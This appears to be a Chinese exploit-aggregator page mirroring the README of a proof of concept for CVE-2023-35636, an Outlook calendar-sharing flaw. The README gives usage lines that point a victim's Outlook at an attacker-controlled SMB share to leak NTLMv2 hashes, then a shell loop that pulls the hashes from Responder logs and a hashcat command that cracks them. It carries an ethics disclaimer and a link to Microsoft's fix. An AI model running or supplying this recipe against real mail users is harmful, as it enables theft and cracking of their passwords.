关联漏洞
标题：
Microsoft Outlook 安全漏洞
(CVE-2023-35636)
描述：Microsoft Outlook是美国微软（Microsoft）公司的一套电子邮件应用程序。 Microsoft Office Outlook存在安全漏洞。攻击者利用该漏洞可以获取敏感信息。以下产品和版本受到影响：Microsoft Office 2019 for 32-bit editions,Microsoft Office 2019 for 64-bit editions,Microsoft 365 Apps for Enterprise for 32-bit Systems,Microsoft
描述
Microsoft Outlook Information Disclosure Vulnerability (leak password hash) - Expect Script POC
介绍
# CVE-2023-35636
Microsoft Outlook Information Disclosure Vulnerability (leak password hash) - Expect Script POC
CVE-2023-35636 an exploit of the calendar sharing function in Microsoft Outlook, whereby adding two headers to an email directs Outlook to share content and contact a designated machine creating an opportunity to intercept an NTLM v2 hash.
- Run a responder with SMB server on
- Send an email & wait (the email recipient firewall have to let SMB (445) trafic pass)
usage: ./cve-2023-35636.sh mx.fqdn port email_sender email_recipient smb_share
./cve-2023-35636.sh mail.mydomain.com 25 duy-31@domain.com pwned@otherdomain.com \\\\\\\x.x.x.x\\\mycalendar.ics (dont forget all the \\)
notes: chmod +x cve-2023-35636.sh
require app expect
require legitimate ip sender and email sender (to pass SPF, DKIM, DMARC)
- If the recipient user click on the little calendar icon .. BOOM the ip/user (clear text) and password hash (NTLM-v2-SSP) are send to your responder IP
- You can then try to crack the password with hashcat/john the ripper
for user in `strings Responder-Session.log | grep "NTLMv2-SSP Hash" | cut -d ":" -f 4-6 | sort -u -f | awk '{$1=$1};1'`
do
echo "[*] search for: $user";
strings Responder-Session.log | grep "NTLMv2-SSP Hash" | grep -i $user | cut -d ":" -f 4-10 | head -n 1 | awk '{$1=$1};1' >> ntlm-hashes.txt
done
hashcat -a 0 -m 5600 ntlm-hashes.txt rockyou.txt -o cracked.txt -O
--------------------------
Kudos: https://www.varonis.com/blog/outlook-vulnerability-new-ways-to-leak-ntlm-hashes
Workaround/Fix: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-35636
--------------------------
more about me ;) https://www.linkedin.com/in/duy-huan-bui/
⚠️ Disclaimer: IMPORTANT: This script is provided for educational, ethical testing, and lawful use ONLY. Do not use it on any system or network without explicit permission. Unauthorized access to computer systems and networks is illegal, and users caught performing unauthorized activities are subject to legal actions. The author is NOT responsible for any damage caused by the misuse of this script.
文件快照
[4.0K] /data/pocs/519df01bb315e4d005bf78c3f27926848a5eab1a
├── [ 736] cve-2023-35636.sh
└── [2.5K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。